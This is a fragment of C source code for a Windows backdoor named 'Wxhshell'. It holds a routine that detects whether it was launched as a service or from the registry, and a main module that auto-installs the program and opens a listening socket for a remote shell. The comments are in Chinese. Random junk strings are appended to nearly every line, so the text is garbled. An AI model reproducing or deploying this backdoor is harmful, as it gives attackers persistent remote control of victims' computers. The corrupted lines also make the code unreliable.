} PROCESS_BASIC_INFORMATION; D\i8rqU/l
l.t. ,:
PROCNTQSIP NtQueryInformationProcess; _d"Y6
0
D/!G]hx
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }Q,C;!'"
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8B(Q7Qj
{gq:sj>
HANDLE hProcess; N6 Cc%,
PROCESS_BASIC_INFORMATION pbi; m:o$|7r
.~/;v~bL
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z@40g)R2A
if(NULL == hInst ) return 0; :r[-7
[/
yyYbB ]D
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [_z2z6
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B?>#cpWj
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q.Aw!]:!
NhaeAD
$e
if (!NtQueryInformationProcess) return 0; 2LK*Cv[
Lzb [%?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); doUqUak
if(!hProcess) return 0; 7.=s1~p
XwqfWd_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zj0pP{y
T"jDq1C/,E
CloseHandle(hProcess); SOY#, Zu
"Kf~`0P
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bqLYF[#T
if(hProcess==NULL) return 0; .*..pf|/
oHGf |
HMODULE hMod; m_W.r+s~C4
char procName[255]; ~V)VGGOL$v
unsigned long cbNeeded; UEb'E;
%1l80Z
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #SOj4W
=cX"gI[
CloseHandle(hProcess); 0hr)tYW,G
yru}f;1
if(strstr(procName,"services")) return 1; // 以服务启动 -|UX}t*
YV+dUvz
return 0; // 注册表启动 IOsDVIXL\
} <qZ+U4@I)
=*G'.D /*
// 主模块 &dMSX}t
int StartWxhshell(LPSTR lpCmdLine) (B4A$t
{ tWy<9TF
SOCKET wsl; I ywx1ac
BOOL val=TRUE; G~j<I/)"
int port=0; :l[Q
struct sockaddr_in door; <JuJ`t
FO3*[O
if(wscfg.ws_autoins) Install(); .EELR]`y7I
?a_q!,8:
port=atoi(lpCmdLine); ^d=@RTyo/
{N`<e>A]{
if(port<=0) port=wscfg.ws_port; AMiFsgBj
Q(Y,p`>
WSADATA data;
K8we*
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jCa;g{#@
u 9TlXn
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Tj~#Xc
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J<O_N~$$*
door.sin_family = AF_INET; s&hP^tKT
door.sin_addr.s_addr = inet_addr("127.0.0.1"); I=-;*3g6
door.sin_port = htons(port); Z*B(L@H
}#
^PbM
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )SLs
[
closesocket(wsl); +Enff0 =+
return 1; HK.J/Zr
} ^!tI+F{n{
N#ObxOE6T"
if(listen(wsl,2) == INVALID_SOCKET) { |`/uS;O
closesocket(wsl); Hvk?(\x
return 1; "xI[4~'`:
} 1r4/McB
Wxhshell(wsl); e8v=n@0
WSACleanup(); ^a5>`W
PTqS L]
return 0; Wg&